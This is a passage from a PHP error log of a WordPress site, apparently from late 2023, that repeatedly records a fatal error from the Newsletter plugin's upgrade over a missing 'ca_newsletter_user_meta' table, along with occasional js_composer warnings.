#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[08-Nov-2023 19:02:00 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[08-Nov-2023 19:02:01 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[10-Nov-2023 06:44:48 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[15-Nov-2023 21:35:35 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[24-Nov-2023 09:48:36 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[24-Nov-2023 09:48:38 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[24-Nov-2023 14:21:10 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[25-Nov-2023 12:15:40 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[25-Nov-2023 12:15:41 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[30-Nov-2023 21:51:44 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[01-Dec-2023 04:37:33 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[01-Dec-2023 15:58:07 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[05-Dec-2023 01:37:15 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[05-Dec-2023 01:37:18 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[18-Dec-2023 17:57:36 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[18-Dec-2023 17:57:38 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[19-Dec-2023 02:11:38 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[19-Dec-2023 02:11:39 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
